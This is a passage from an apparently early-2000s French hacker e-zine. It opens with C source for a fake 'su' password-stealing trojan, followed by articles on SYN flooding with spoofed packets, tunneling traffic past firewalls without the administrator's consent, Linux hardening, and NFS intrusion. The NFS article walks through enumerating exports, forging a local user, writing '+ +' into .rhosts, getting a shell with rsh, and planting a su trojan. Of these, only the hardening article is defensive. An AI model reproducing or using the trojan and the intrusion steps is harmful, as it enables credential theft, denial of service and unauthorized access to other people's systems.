2001 [IOC] - */ #include /* pritnf, fprintf, sprintf */ #include /* open */ #include /* system, exit */ #include /* getpass */ #define PASSLOG "/tmp/.tmplog " /* log file */ char *saisie; char *getpass(); char buffer [20]; main ( int argc, char *argv[] ) { /* saisie du mot de passe */ saisie=getpass("Password: "); /* fermeture sortie standard */ close(1); /* ouverture du fichier */ open( PASSLOG, O_CREAT | O_WRONLY | O_APPEND, 0666 ); /* ecriture dans le fichier */ printf("Login : %s\t", argv[1]); printf("Pass : %s\n",saisie); /* message d'erreur */ fprintf(stderr, "su : incorrect password\n"); /* supression */ sprintf(buffer,"rm -f $HOME/.term/%s", argv[0]); system(buffer); exit(1); } -------------8<--- cut here -------------------------------------------------------------- [ Conclusion ] J'espère que vous aurez appris quelquechose en lisant ce petit article. Si vous avez des questions, des remarques, des suggestions, des conseils ou un billet de 500 balles à me donner, vous pouvez m'écrire à neo_fox_2001@hotmail.com. ------------------------------------------------------------------------------------------- IV. SYNFlooding par Lex Icon ------------------------------------------------------------------------------------------- [ INTRODUCTION] Donc dans cet article je vais tenter de vous expliquer le fonctionnement d'une attaque de refus de service appelée syn flooding tcp. Pour ceux qui croient qu'une attaque dos consiste à lancer son winnuke sur son pote sur irc, c'est raté. Une attaque dos consiste à empêcher l'utilisation d'un service (serveur, réseau...) par ses utilisateurs légitimes. Et contrairement à ce qu'on pense en général, la plupart des attaques dos ne sont pas des exploitations de failles dans le logiciel mais des exploitations de failles dans les protocoles. [ PUBLIC VISE PAR CET ARTICLE] J'ai simplifié cet article au minimum minimorum afin que la plupart des gens qui me lisent comprennent ce que j'explique. Si vous voulez comprendre ce qu'il y a écrit après ce chapitre, il vous faudra savoir comme il faut comment fonctionne la suite de protocoles de TCP/IP. Si vous n'y comprenez rien, courrez voir l'article de NeoFox sur TCP/IP qui est dans ce numéro. Si vous avez rien compris mais que vous voulez quand même savoir ce qu'est le synflooding, vous pouvez continuer quand même car j'explique quelques trucs sur TCP/IP dans cet article. [ PRINCIPES DE BASE TCP/IP] Sur un réseau, quand deux machines implémentant le protocole TCP veulent communiquer (via un logiciel implémentant lui aussi TCP), elles doivent établir une connexion. Cette connexion se fait en 3 temps. Voici un petit schéma que je commenterais après. A --SYN--> B A <-SYN/ACK-- B A --ACK--> B Voici mon commentaire sur ce schéma très modeste. Sur la première ligne, le client (A) envoie une requête de connexion (SYN) au serveur (B). La requête de connexion n'est rien d'autre qu'un simple paquet TCP (encapsulé dans un paquet IP, mais NeoFox a du vous expliquer ça je pense). Dans ce paquet TCP il y a des informations comme l'adresse IP du client, le port utilisé pour émettre ce paquet, l'adresse IP du serveur ainsi que le port sur lequel le paquet doit atterir, le bit de contrôle (SYN dans notre cas) et un numéro de séquence (plus d'autres trucs, mais ce sont les plus importants dont j'ai parlé). Ensuite, le serveur accepte (acquitte) la connexion (SYN/ACK). Ce paquet contient la même chose que l'autre sauf que le bit de contrôle n'est pas le même (c'est pas le même genre de requêtes) et qu'il y a le numéro de séquence du serveur, qui il me semble correspond au numéro de séquence du client (ISN pour Initial Sequence Number - Numéro de séquence initial), mais augmenté d'une unité (ISN + 1). Puis enfin, le client accepte de se connecter au serveur et l'échange peut commencer. [ TRAITEMENT DES PAQUETS] Les paquets reçus par la victime ne sont pas tous traîtés en même temps. Ils sont mis dans une file d'attente. Le nombre de paquets pouvant être traîtés en même temps est il me semble le backlog. Si par exemple le backlog est de 5, alors 5 paquets pourront être traîtés en même temps. Si 10 paquets sont reçus, 5 seront traîtés et les 5 autres seront mis en attente. Dès qu'un paquet a été traîté, un des paquets en attente est traîté. Si le paquet envoyé par la cible n'a pas de réponse au bout d'un certain temps (variable selon les systèmes), alors il laisse tomber. Les raisons pour lesquelles un paquet ne pourraît pas trouver de réponse sont nombreuses et variables, mais en général c'est parce que la machine qui doit recevoir le paquet n'existe plus ou pas, le réseau est encombré ou alors la machine est occupée. [ ON FAIT TOURNER LE CERVEAU] Si vous avez compris ce que je vous ai expliqué ci dessus et que vous avez un cerveau en assez bon état (capable de réfléchir 10 secondes), vous connaissez alors le principe du synflooding. Pour ceux qui ont rien compris ou qui ne voient pas là ou je veux en venir, ne vous en faîtes pas, je vais vous expliquer : Il suffit d'envoyer quelques milliers de requêtes SYN à la cible. Mais pas des requêtes qui montrent qu'elles viennent de votre machine, mais des requêtes spoofées qui semblent venir d'un serveur qui n'existe pas (une adresse IP qui n'existe pas). La cible répondra à ces paquets en les envoyant à l'adresse IP qui n'existe pas, et comme il n'y aura pas de réponse en retour, la cible attendra la fin de son timeout pour abandoner sa requête en question et passera à la suivante, qui viendra soi disant de la même machine, ce qui fera encore attendre la cible pendant un certain temps, jusqu'à ce qu'elle ait écoulé toutes les requêtes qu'il y a dans sa file d'attente, ce qui peut durer quelques heures si vous en envoyez une quantité considérable et en comptant un bon timeout bien long. [ NEPTUNE.C] Lorsqu'il s'agit de synflooding, ce programme devient rapidement mon meilleur pote. C'est un code source Linux assez robuste qui est assez efficace. Il a été développé en 1996 par Daemon9 pour le magazine phrack #49 et article numéro 13. Si vous avez des difficultés pour le compiler, demandez le moi, je vous l'enverrais. [ CONCLUSION] Vous voyez qu'il est relativement facile de faire chier le monde pendant un moment avec quelques progammes et parfois avec quelques potes. [ REFERENCES] Les RFCs importants sur TCP/IP Un cours sur TCP/IP que j'ai trouvé sur madchat.org Project Neptune par Daemon9 (phrack 48 #13) Synflood & Syncookies par Rhino9 [ CODES SOURCES UTILES] neptune.c la collection des targa de Mixter (le 4 est recommandé) synflood.c ------------------------------------------------------------------------------------------- V. Tunneling par Lex Icon ------------------------------------------------------------------------------------------- [ INTRODUCTION] Cet article est certainement une première dans un magazine francophone. Comme quoi, la scène française peut faire autre chose que du nuke ou encore du mail anonyme. Sinon ce texte est mieux en 800x600, du moins pour bien voir le petit schéma qui est plus bas. [ KESAKO] Le tunneling consiste à contourner les règles des firewalls. Par exemple, vous êtes dans une entreprise qui a un réseau local avec un firewall qui évite les agressions venant de l'extérieur, mais qui aussi vous empêche de faire sortir un certain traffic. En gros, tant que le firewall met les utilisateurs en sécurité, il réduit leur liberté. Comme la plupart des firewalls ont tendance à bloquer le traffic s'il vient de l'extérieur, ça peut éviter que votre machine soit victime d'une attaque de trojan si le port correspondant est ouvert sur votre machine. Par contre, ça veut aussi dire qu'il y a plein de choses que vous ne pouvez pas faire, comme par exemple envoyer un X-Display à une machine qui est située de l'autre côté du firewall. En général c'est pas possible parce que le gars qui s'occupe du firewall n'accepte pas les connexions X (ou le port que vous voulez utiliser). La solution est de demander à l'administrateur d'accepter ce genre de connexions sur le port 6000 du firewall. Bien souvent il ne le fait pas, soit parce qu'il sait pas le faire, soit parce qu'il n'en a pas le temps, soit parce que ça réduit quand même la sécurité du réseau interne. Donc vous avez une autre solution, envoyer quand même ces paquets mais sans le conscentement de l'administrateur. J'ai trouvé plusieurs programmes qui permettent de faire ça, comme par exemple tunnelx ou tunnel. Vous pouvez aller récupérer certains de ces programmes sur notre site. [ LE TUNNEL] Le programme est fait de deux parties : une partie sur votre machine derrière le firewall, et une autre sur une machine à l'extérieur du firewall. Le programme à l'intérieur du firewall s'appelle tunnel, et l'autre s'appelle portal. Pour résumer le fonctionnement, le tunnel se connecte sur le portal. Selon le niveau de sécurité, la connexion ne sera pas interceptée. Une fois que la connexion tunnel-->portal est établie, le portal ouvre un port TCP pour le traffic entrant et tout est prêt. Chaque fois qu'une machine se connecte au portal, elle envoie une requête jusqu'au tunnel via la connexion déjà établie via le firewall. Ensuite, le tunnel routera le traffic jusqu'à votre machine. L'effet sera simplement que vous aurez un port ouvert qui sera visible depuis Internet, ce qui rendra la sécurité du réseau un peu moins élevée. Voici un petit exemple que j'ai trouvé sur un site un jour : goof = votre machine foo = machine sur votre réseau, ou alors avec le tunnel bar = machine sur internet ou avec le portal boof = machine sur internet qui veut se connecter à goof FIREWALL tunnel ^ portal ######### ^ ######### # Foo #======================# Bar # ######### ^ ######### | ^ | | ^ | | ^ | ######### ^ ######### # Goof # ^ # Boof # ######### ^ ######### FIREWALL Vous êtes sur la machine goof et utilisez un programme de la machine boof qui utilise X, et donc vous voulez envoyer l'affichage à goof. X-Windows essaye d'établir la connexion tcp via le firewall. Vous lancez le tunnel sur foo et lui dites de se connecter sur le port 7000 de bar (port du portal) et configurez le tunnel pour router le trffic du portal jusqu'à votre machine. Vous lancez le portal sur la machine BAR et lui faîtes écouter sur le port 7000 pour le tunnel. Une fois le tunnel connecté, le portal écoute sur le port 6001 pour les connexions X entrantes. Chaque fois qu'une application X se connecte au portal, la connexion passe par le tunnel qui la route ensuite vers votre machine goof sur le port 6000. Finalement, sur la machine boof, vous mettez votre affichage sur bar:1 qui dit à l'application d'utiliser le port 6001 (et non 6000 qui est déjà utilisé). Si vous lancez XEyes, il fonctionnera. [ CONCLUSION] Si vous faîtes ça, vous violerez certainement les règles de sécurité de votre réseau, donc il faut le raconter à personne, pas même à vos parents. Puis sinon, vous avez pas besoin du root, ce qui rend la chose plus simple à réaliser. [ CODE ] Je dois mettre quelques progs de tunneling sur le site du groupe. Ne vous en faîtes pas, ils ne sont pas spécialement gros. ------------------------------------------------------------------------------------------- VI. Sécurité Linux par Lex Icon ------------------------------------------------------------------------------------------- Bon, on commence. Vous êtes content de vous être acheté Linux et de l'avoir installé sans qu'il vous ait rien niqué. Vous le configurez de façon à ce que sous puissiez vous connecter à Internet en vous disant comme les lamers 'bon ben j'ai linux alors personne ne peut me hacker'. Résultat des courses, un mec entre sur votre système et rigole bien. Pourquoi ça ? et surtout comment cela est t'il arrivé ? ben tout simplement parce que vous faîtes partie de la plèbe qui veut voir disparaître Microsoft sans avoir de raison valable. Et là, vous vous demandez comment les gens font pour penser que Linux est fiable...ils ont raison, et c'est vous qui n'avez pas fait ce qu'il faut pour le rendre fiable. Dans cet article, je vais tenter de vous expliquer comment faire de votre modeste station de travail, un abri antinucléaire. Il vous faudra par contre quelques programmes qui ne sont pas intégrés à Linux pour ça... Voici les programmes dont vous aurez besoin... - Linux avec kernel 2.2.x [noyau] - IPChains (dernière version) [firewall] - IPPL [loggueur] - PORTSENTRY [firewall automatisé] - LOGCHECK [vérificateur de logs] - KDE (optionnel) [interface graphique] - Korn [vérificateur de mails locaux] 1. Savoir de quoi on a besoin... Tout d'abord, vous devrez savoir de quels services vous aurez besoin. Par exemple, si vous êtes une entreprise normale, vous aurez besoin d'un serveur HTTP, FTP, de SSH (SSF si vous êtes en France) et voilà, avec peut être un SMTP et un POP. Je ne veux pas vous influer sur le choix du serveur que vous prendrez, parce que ça me regarde pas, mais le seul truc que je peux vous conseiller c'est de prendre les toutes dernières versions, car elles sont moins de bugs découverts (ils viendront avec le temps, mais vous avez éliminé 95% de la menace). Si vous êtes un utilisateur comme moi, vous n'avez besoin de rien en ça, sauf d'un serveur smtp que vous n'exécuterez pas en tant que daemon (donc qui n'ouvre aucun port permanent sur internet), mais on y viendra un peu plus tard. Une fois que vous savez quels sont les services dont vous avez besoin, vous pouvez fermer les autres via le daemon inetd. inetd est le daemon qui supervise toutes les opérations qui ont un rapport avec internet. Son fichier de configuration est /etc/inetd.conf. Vous fermez les ports que vous avez envie de fermer en mettant un # en début de ligne. Par contre, le port ne se fermera pas dans la seconde. Comme c'est le fichier de configuration d'un daemon, le fichier est lu une seule fois, au démarrage du daemon, donc il faudra redémarrer le daemon. Sur un site j'avais vu qu'il fallait rebooter la machine, mais un simple killall -HUP inetd suffit largement. Sur ma machine, si je veux ouvrir le port telnet, je l'ouvre depuis inetd, je redémarre inetd, mais je n'ai aucune invite de connexion, c'est après le reboot de ma machine que ça marche, pourtant le ftp marche (plus maintenant, vu que c'était à des fins de tests et que je n'ai pas besoin de ftpd ni de telnetd). Une fois que vous avez fait les mises à jour de vos daemons et que vous avez fermé ce qui vous sert à rien, vous avez une machine normale. Il faut maintenant installer un firewall. Je vais pas vous faire un cours sur ipchains, mais je vais vous montrer comment autoriser la communication vers un serveur DNS, et vous vous servirez de cette syntaxe pour tous les services que vous voudrez autoriser. Alors on efface tout ce qui aurait pu déjà être autorisé auparavant en tapant ipchains -F. Puis comme on veut limiter au maximum les accès, on va tout interdire, puis autoriser ce qu'on veut par la suite. Pour tout effacer, vous tapez : ipchains -P input DENY ipchains -P output REJECT ipchains -P foward REJECT Puis comme on veut déjà pouvoir communiquer avec nos DNS, on vat taper : ipchains -A input -i ppp0 -p udp -s $DNS$ 53 -j ACCEPT ipchains -A output -i ppp0 -p udp -d $dns$ 53 -j ACCEPT vous remplacez ppp0 par votre interface de connexion, puis $dns$ par votre serveur DNS. Ce que vous pouvez faire, c'est mettre tout ça dans un script shell que vous rendrez exécutable, que vous lancerez lors de votre connexion. Si vous savez pas comment faire, demandez moi de vous envoyer mon script shell. Ou alors, vous pouvez tout faire via l'interface graphique de ipchains (qui s'appelle GFCC). Ensuite, votre machine prend déjà de la gueule, mais si vous vous faîtes attaquer, vous ne le saurez pas très rapidement, à moins d'installer un logger. Personellement, j'utilise IPPL qui est très simple à utiliser. Vous l'installez et tapez ippl -n pour voir ce qui se passe. Vous pouvez même rediriger les données vers un log que vous analyserez. J'utilise aussi le programme logcheck de la suite ABACUS Ce programme scanne mes logs pour certains mots clés et m'avertit par mail local de ce qui se passe. Je l'installe et comme je suis sous KDE, j'utilise le programme Korn qui me dit si j'ai des messages locaux. Je ne mets pas que la notification pour le root, parce que je me connecte jamais sur Internet en root, mais je mets une notification vers mon uid. Comme ça, je suis mis au courant immédiatement de l'attaque. Il y a même un logger qui permet de se passer de firewall. C'est portsentry. Je ne vais pas parler trop de sa configuration, mais si vous avez besoin d'aide, n'hésitez pas, je suis toujours disponible, je pourrais même vous envoyer mon fichier de configuration si vous savez pas comment le configurer. Par contre, si vous aviez la facheuse habitude de faire du scan depuis votre propre machine (avec nmap par exemple) je vous conseille d'abandonner parce que ça marchera plus. Avec ipchains j'ai jamais essayé. Puis de toute façon, je scanne que depuis mon shell account, et c'est d'ailleurs ce que je vous conseille si vous êtes nouveau dans le hacking. Une fois que vous avez fait tout ça, vous avez une machine qui tiendra la route un bon moment. Pour preuve, demandez à quelqu'un de vous scanner vos ports avec nmap (merci de ne pas me contacter pour ça), voire même de vous hacker. Il aura pas de mal. Si vous êtes une entreprise qui a besoin d'un accès distant comme telnet, je vous conseille alors d'opter pour SSH. Mais quel que soit votre choix, mettez à jour tous vos programmes, car les buffer overflows, ça existe toujours, et ça évitera à un utilisateur local de devenir root. Si vous avez un httpd, mettez le à jour et essayez au maximum de ne pas utiliser de scripts cgi bien buggés comme le phf ou alors n'utilisez pas le php 3.0, le 4.0 est bien plus sécurisé (même s'il y a encore des bugs). Pour le ftp, n'autorisez jamais d'accès anonyme, et surtout, si vous en faîtes un, ne mettez pas de répertoire avec des droits en écriture, ça peut coûter cher à la fin. L'université de provence en aura souffert de ce truc avec leur Wu-FTP 2.6.0 ------------------------------------------------------------------------------------------- VII. NFS & Intrusion par NeoFox ------------------------------------------------------------------------------------------- [ Avertissement ] Cet article est illustré par une dizaine de captures réalisées par mes soins, dans le but d'illustrer un peu mes propos. Ces images au format .jpg sont disponnibles sur le site du groupe, dans une archive .zip que nous avons mis à part pour des questions de comodité et notemment au niveau du temps de téléchargement. L'archive .zip doit faire environ 300Ko. Introduction : ______________ Voici un article qui aborder l'utilisation d'NFS et les risques liés à son exploitation. On entend souvent parler d'NFS ou plus précisément de la manip qui permet d'en abuser ... J'ai écrit cet article car je pense qu'il vaut mieux commençer par étudier le fonctionnement de tel ou tel système aulieu de vouloir à tout prix l'exploiter sans n'y rien comprendre. | Chap I. Présentation d'NFS | ____________________________ Nous allons voir ce qu'est NFS, comment il s'utilise et comment il est configuré. 1.1 Généralités : __________________ NFS signifie " Network File System ". C'est un protocole de la couche Application qui permet à un hôte de partager ses fichiers avec d'autres machines. Si un fichier d'une machine est utilisé via NFS par une autre, on dit que ce fichier ou ce répertoire est " monté " ou " exporté " . NFS est un protocole qui fonctionne sous UDP ( cf mon article sur TCP/IP ). L'utilisaion d'NFS est transparent pour l'utlisateur pour lequel les fichiers exportés semblent virtuellement présents sur la machine cliente. NB : La machine qui demande le montage d'un fichier est apellée machine cliente, celle qui permet le montage de ses répertoires est apellée serveur NFS. NFS est souvent utilisé pour centraliser les homedirs des utlisateurs sur le serveur. L'utlisation d'NFS est en soi assez simple commme nous allons le voir. 1.2 Utilisation : __________________ Pour demander le montage d'un répertoire distant par NFS, il faut être autorisé par le serveur NFS, et utiliser certaines commandes au prompt. Les commandes en question sont " mount " ( pour monter ) et " umount " ( pour démonter ). Mount et unmount doivent vous être familiers si vous avez un tant soit peu l'habitude de linux car ce sont les commandes permettant d'accéder au lecteur de disquettes et au CD-ROM. Voici la syntaxe de mount : [root@localhost /root]# mount [options] [machine]:[/répertoire] [/répertoire local] Pour monter un fichier il faut en général être root sur sa machine. Vous devez ensuite créer un répertoire local vide qui sera le point de montage. La machine cible possède un répertoire apellé " répertoire distant " . Cette commande demande donc le montage du répertoire distant dans le point de montage qui est votre répertoire local. Lorsqu'on descend dans le point de montage, on peut consulter les fichiers du répertoire distant tout en ayant l'impression qu'ils sont sur la machine locale. Lorsqu'on en a treminé avec le répertoire il suffit de le démonter avec umount. Voici la syntaxe de umount : [root@localhost /root]# umount point-de-montage Cette commande demande donc le démontage du fichier. Si l'on redescend ensuite dans le répertoire de montage, celui-ci sera à nouveau vide. Lorsqu'une machine locale monte un répertoire distant, un entrée temporaire est crée dans le /etc/mtab local. Le ficher /etc/mtab contient la liste de tout les fichiers montés sur un machine. Y figurent des entrées correspondant au fichiers système montés au démarrage de la machine, comme les partitions, le lecteur de disquettes ( /mnt/floppy ) et de CD-ROM ( /mnt/cdrom ). Le fichier mtab liste l'ensemble des fichiers systèmes qui sont montés en ce moment même sur la machine. On y trouvera aussi des entrées NFS si des montages sont en cours. Pour ne pas qu'un montage NFS laisse de trace dans le mtab , on peut utiliser l'option " -n ". La commande de montage complète devient donc ( en y ajoutant -n et -t nfs pour signaler qu'on veut utiliser NFS ) : [root@localhost /root]# mount -nt nfs serveur.reseau.com:/répertoire-distant /point-montage La figure 1 montre le ficher mtab lorsqu'un montage a été fait avec option ce qui ne laisse pas de traces, et un autre fait sans options où l'on voit clairement qu'un montage nfs est en cours. Les entrées de /etc/mtab sont générées par une procédure automatique lançée au démarrage. Elle s'appuie sur le fichier /etc/fstab. Le fichier /etc/fstab contient la liste des fichiers système qui doivent être montés automatiquement au démarrage. Ce fichier indique que seront montés au démarrage, les partitions, le lecteur de disquette et le CD. Il peut contenir aussi une ou plusieurs entrées NFS qui demanderont le montage de tel ou tel répertoire distant lors du démarrage. Pour demander un montage automatique, vous pouvez ajouter autant d'entrées que vous voulez à fstab comme on le voit sur la figure 2. Sur cette capture on voit qu'au démarrage sera demandé automatiquement le montage du répertoire /home/fox de la machine myserver dans le /home local tout cela en plus des fichiers standards ( partitions etc ... ) . Vous savez à présent comment monter et démonter un système de fichiers depuis une machine distante sur la votre. 1.3 Système d'authenfication : ______________________________ On ne peut monter un système de fichier distant que si le serveur NFS qui met à disposition ses répertoires nous autorise à le faire. Alors comment savoir qui peut monter quoi ?! Pour qu'un hôte ait le droit de faire un montage NFS, il faut que le serveur NFS l'authentifie comme "ami" ou " de confiance " . Cette authentification s'appuie sur le fichier /etc/exports. La figure 3 présente un exmple de fichier exports. Le fichier /etc/exports définit quelles machines seront autoriées à effectuer un montage. On voit sur ce fichier que la machine autorise le montage de son /usr/local et de son /export/home par les machines de son réseau, spot,king, pluto, astro et spike. Seules les machines que nous venons de citer sont autorisées à monter les répertoires visés. Si une personne veut demander le montage depuis une autre machine, sa demande sera rejetée par le serveur. Pour savoir à qui un serveur autorise le montage de ses fichiers, on peut utiliser la commande " showmount ". Cette commande permet de voir la liste des fichiers exportables. Elle provoque en somme l'affichage de /etc/exports. Voici la syntaxe de la commande showmount : [root@localhost /root]# showmount [option] [machine] Les options de showmount sont " -a " et " -e " . Lorsqu'une machine A a monté ne serait-ce qu'une fois les fichiers d'une machine B, B garde en mémoire ( si vous savez où, vous êtes plus au point que moi et n'avez pas besoin de lire ceci ) une trace de ce montage. L'option " -a " permet donc d'afficher la liste de hôtes qui ont déja monté au moins une fois un fichier de la machine en question. Si comme vous le verez sur la figure 4 vous avez monté un fichier de cette bécane, votre nom d'hote sera inscrit dans cette liste. ( La faut afficher la figure 4 ... ) Vous voyez sur cette figure que j'ai monté certains fichiers de ces 2 machines. Ici "localhost.localdomain" est le nom d'hôte par défaut de ma machine. Dites vous bien que si vous ne souhaitai pas laisser de telle trace pour une raison qui vous est propre, il faut mieux demander le montage depuis une autre machine, pas depuis la vôtre. L'option " -e " permet quant à elle de consulter la liste des fichiers exportables d'une machine en demandant l'affichage de son /etc/exports. En clair, ça permet de savoir qui peut monter quoi. En résumé, le système d'authentification utilisé par NFS est basé sur une reconnaissance des nom d'hôtes ou des adresses logiques. NFS compare ensuite la requête avec le contenu de /etc/exports et détermine si la machine cliente peut ou non accèder à ses ressources. Voici un petit script apellé " cmount.pl " qui permet de faire un " showmount -e " à toute une liste de machines ( liste que vous apellerez " domains " ). --------------------------- cut here ------------------------------------------------ #!/usr/bin/perl -w # # Assign null list to @URLs which will be added to later. my(@result) = (); my(@domains) = (); my($program) = "showmount -e "; # Pull off filename from commandline. If it isn't defined, then assign default. my($DomainFilename) = shift; $DomainFilename = "domains" if !defined($DomainFilename); # Do checking on input. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename); # Open $DomainFilename. open(DOMAINFILE, $DomainFilename) or die("mountDomains: Cannot open $DomainFilename for input.\n"); while () { chomp($_); print "Now checking: $_"; # Note difference in program output capture from "geturl.pl". open (EXECFILE, "$program $_ |"); @execResult = ; next if (!defined($execResult[0])); if ($execResult[0] =~ /^Export/) { print " - Export list saved."; open (OUTFILE, ">$_.export"); foreach (@execResult) { print OUTFILE; } close (OUTFILE); } close(EXECFILE); print "\n"; } # We are done. Close all files and end the program. close (DOMAINFILE); 0; ---------------------- cut here ----------------------------------------------------- | Chap II. NFS & Sécurité | __________________________ Nous allons voir comment l'utilisation d'NFS peut engendrer des problèmes de sécurité et tant qu'à faire, comment en profiter pour gagner l'accès au système. 2.1 Faiblesses d'NFS : ______________________ On sait qu'NFS utlise un système d'authentification basé sur la reconaissance des hôtes et non des utlisiateurs. Donc si un intrus a un accès illégal à une machine amie, il pourra accéder à toutes les ressources NFS auquelles cette machine a accès. Imaginez alors qu'une machine A autorise le montage de tous ses fichiers à la machine B sur laquelle un intrus à un accès root ... Sur un réseau où troune NFS, il y possibilité de déterminer les relations de confiance existant machines d'un même réseau. En effet, en consultant /etc/exports par un showmount -e ou la liste des machines qui ont déja monté le serveur par un showmount -a on peut savoir qui fait confiance à qui. Un attaquant peut ainsi spoofer l'IP d'une machine " amie " pour en attaquer une autre. Deplus, si une machine permet à une autre de monter des fichiers "sensibles" comme les homedirs, on peut penser qu'elles peuvent entretenir des relations de confiance par commandes *R. Si l'attaquant à accèss à un compte d'user, il est possible qu'il puisse accèder par rlogin au compte de cet user sur une machine amie. Enfin, la principale " faille " engendrée par NFS est du a une mauvaise configuration de /etc/exports. C'est celle-ci que nous allons exploiter plus loin. Dans l'exemple de la figure 3, exports est bien configuré, puisqu'aucune machine autre que celles y figurant ne peuvent monter quoi que ce soit. Ce n'est pas toujours le cas. Certains administrateurs désirant permettre à toutes les machines de leur réseau de monter les systèmes de fichiers d'une autre machine, configurent son /etc/exports comme celui de la figure 5. On voit que la machine autorise à monter certains répertoires importants mais que la liste des hôtes autorisés à le faire n'est pas indiquée. Enfait, NFS en déduira que les fichiers conçernés sont accessibles à tout le monde. Le " Showmount -e " va donc donner la capture figure 6. On y voit les " evryone " ce qui signifie comme nous venons de dire que tout le monde, vous et moi y compris, avons le droit d'accéder à ces fichiers. Une alternative pour permettre le montage par toutes les machines du réseau ( ici Kent.edu ) serait de configurer le /etc/exports de la machine comme celui de la figure 7. Dans le cas où l'administrateur aurait mal configuré le /etc/exports, il y a possibilité comme nous allons le voir, de gagner l'accès au système. 2.2 Abuser d'NFS : __________________ Nous allons voir les grandes étapes de l'attaque. Dans un premier temps, on va voir ensemble le concept de l'intrusion, et ensuite rapeler les notions qu'il vous faut connaître. Le but du jeu et de pouvoir monter grâce à NFS un homedir d'utilisateur sur la machine attaquante. Dans ce homedir, il faudra gagner les droits du propriétaire des fichiers afin d'avoir le droit d'écriture et de pouvoir ainsi plaçer un .rhosts qui nous permettra par la suite de nous loger avec rsh ou rlogin. Voyons tout cela en détail : Tout dabord, il vous faut faire un showmount -e pour savoir a quoi vous pouvez avoir accès. Admettons que la machine vous laisse monter un répertoire. Il faut qu'un de ces répertoires soit un homedir pour y placer un .rhosts. Il vous faut vérifier la position des homedirs grâce à la commande finger. Sa syntaxe : [root@machine-attaquante]# finger -l user @machine-cible.com Ce qu'il vous faut c'est le login d'un utilisateur afin de pourvoir vérifier l'emplaçement de son compte. Essayez avec le login guest ( c'est un compte par défaut ). Donc vous faites un " finger -l guest @cible.com " ou encore dans votre navigateur " http://machine-cible.com/cgi-bin/finger?guest ". Si cela ne fonctionne pas il vous faudra essayer finger sur un autre nom d'utilisateur. Faites un " finger @cible " pour voir qui est connecté. S'il y a quelqu'un, faites un finger sur lui pour savoir où est son homedir. Vous pouvez trouver un nom d'user par divers moyens. Faites un whois sur la cible et essayez les noms qu'il vous sort. La commande EXPN lors d'une connection Telnet au port 25 peut aussi s'avérer utile. Bref, vous devez avec tout ça avoir un nom d'utilisateur sur lequel vous ferez un finger vous aperçevoir que son homedir est enfait situé dans le répertoire auquel vous avez accès par NFS. Il vous faut donc créer un répertoire teporaire pour demander le montage de ce homedir. Une fois le répertoire monté, vous devez y descendre et faire un " ls -al". Vous voyez avec cette commande l'uid/gid de l'utilisateur ( appellons le toto ). Seul toto à le droit d'écrire dans ce répertoire. Si vous voulez créer un fichier .rhosts dans le homedir de toto, vous ne pouvez le faire que si vous êtes un utilisateur du même nom avec les mêmes uid/gid à moins que le homedir lui même ne soit " drwxrwxrwx " c'est à dire en lecture/écriture pour tout le monde. On rapelle qu'à ce stade de la manoeuvre, vous travaillez toujours sur votre machine, la machine d'attaque, sur laquelle est monté le homedir. Comme vous êtes root sur cette machine locale, vous pouvez taper une commande du style [root@machine-attaquante]# echo toto:*:uid:gid:toto:/:/bin/sh >> /etc/passwd Vous venez de créer un utilisateur toto sur la machine d'attaque. Vous devenez donc toto en faisant un " su toto ". De retour dans le homedir monté, vous avez maintenant l'uid et le gid de toto et vous pouvez donc y plaçer un .rhosts. On va revoir le principe des commandes *R ( rlogin, rsh ... ) pour savoir quoi mettre dans ce .rhosts que nous venons de créer. Les commandes R*, ou remote, permettent à un utilisateur de se loger sur son compte sans avoir à fournir de mot de passe. Pour savoir à qui donner un tel accès, les commandes remote se basent sur un fichier présent dans le homedir de l'utilisateur : il s'agit du fichier .rhosts ( remote host ). Un utilisateur, ce cher toto, vient de la machine A et possède un compte sur machine B. Seulement, il en a marre se pauv' toto d'avoir toutjours à se loger sur B avec un mot de passe de 8 caractères chiant à retenir. Il va se dire qu'avec un point .rhosts il pourait se loger sans se soucier du password. De toute façon, il est le seul utilisateur à se connecter sur ce compte alors ... Il va donc sur la machine B, et place dans son homedir un .rhosts. Il veut être le seul à pouvoir se connecter sur son compte B , depuis la machine A. Donc il configure le .rhosts comme suit : machine A toto Seul un utilisateur apellé toto et venant de A poura s'y connecter par rlogin. Pour que tous les utilisateurs venant de la machine A puissent s'y connecter, il faudrait configure le .rhosts comme ça : machine A + Et enfin si l'on veut que tout le monde ait accès à ce compte, le fichier ressemble a : + + Voila, voila ... Donc lorsque toto va faire une demande de connection sur la machine B au compte toto, la machine B ( plus précisément le démon rlogind ) vérifie le contenu du .rhosts du homedir toto. La machine B va donc lui autoirser l'accès sans mot de passe. Vous savez quoi mettre dans ce .rhosts maintenant ! Une fois que vous l'avez crée, faites un " echo + + >> .rhosts". Si le .rhosts existait déja, cela rajoutera une ligne sans effaçer les autres. Si le .rhosts n'existait pas, ben maintenant il existe ! Vous avez donc possibilité de vous logger sans mot de passe ( ca tombe bien, vous ne l'aviez pas ;@) ). Vous allez donc utiliser rlogin ou rsh. Voici la syntaxe de rlogin : [root@machine-attaquante]# rlogin -l user machine-cible Et celle de rsh : [root@machine-attaquante]# rsh -l user machine-cible commande-à-exécuter rlogin ouvre une connection directe avec la machine cible, tandisque rsh se contente d'exécuter une commande. L'avantage de rsh est qu'il n'entame pas de connection, donc ne laisse pas de trace dans le utmp/wtmp/lastlog, c'est pourquoi je vous le conseille. Vous vous demandez quelle commande vous allez bien pouvoir faire exécuter à rsh. Le mieux est de demander l'exécution d'un shell par la commande " sh ", " csh " ... On ajoute l'option "-i" pour demander un shell "interactif" . Pour plus de détails consultez les pages de "man" . La commande rsh compléte est donc : [root@machine-attaquante]# rsh -l toto machine-cible csh -i La machine cible va regader dans le homedir de toto, voir que tout le monde a le droit de s'y connecter ( .rhosts avec + + ) et donc exécuter votre commande, en l'occurence un shell. Vous avez à présent un shell d'ouvert sur la machine cible ! Faites un " w " pour savoir qui est connecté. Regardez l'historique de ce compte pour voir si l'utilisateur toto a déja fait un su, ce qui voudrait dire qu'il est autorisé à avoir les droits du root et qu'il en à le mot de passe ... Il ne vous resterait plus alors qu'a installer un sutrojan pour récupérer le pass root la prochaine fois que toto fera un su. Si vous constatez que l'utilisateur dont vous avez usurpé l'identité n'a jamais fait de su, vous pouvez toujours consulter les historiques des autres comptes et y placer, s'il y a lieu, un su trojan. Un conseil qui vous sera peut-être utile : si vous vous dites que de toute façon le /etc/passwd sera shadow, ben faites quand même un " cat /etc/passwd " , juste comme ça, à tout hasard ... Note : ______ Si aucun homedir n'est exportable mais que par exemple un répertoire comme /bin ou 